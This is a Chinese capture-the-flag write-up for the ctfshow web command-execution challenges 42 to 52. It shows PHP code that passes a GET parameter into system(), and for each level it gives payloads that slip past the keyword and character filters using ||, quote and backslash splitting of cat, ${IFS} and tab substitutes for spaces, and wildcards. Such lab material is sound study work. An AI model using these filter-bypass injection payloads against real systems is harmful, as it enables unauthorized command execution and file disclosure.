ctfshow-Web入门-42~52wp(命令执行)

Web42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

Payload

?c=ls;
查看flag位置

?c=cat f*;
查看源码得到flag

Web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 分号,cat命令

/?c=ls|| 
得到flag位置

由于过滤了cat命令,所以使用 tail来查看flag内容
?c=tail -n 5 f*|| 

也可以使用 c"a"t f*||
来获取flag,查看源码得到
得到flag

Web44

和web43 可以用同一个payload

也可以使用
?c=c\a\t f*||

.

Web45

增加过滤了 空格

使用${IFS} 来绕过空格

tail${IFS}-n${IFS}5${IFS}f*||

Web46

(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))

增加过滤了 $ 不能使用 Web45的方法来过滤空格

?c=awk%09'/f/'%09fla?.php||

?c=c"a"t%09fla??php||

得到flag

?c={awk,’/f/’,fla???hp}||

47、48、49 相同

Web50

?c=c'a't<>'fla'g.php||

Web51

?c=c'a't<>'fla'g.php||

Web52

?c=ls${IFS}-al${IFS}/||
得到flag位置

image-20200906200402903

?c=c'a't${IFS}/fl'ag'||

得到flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值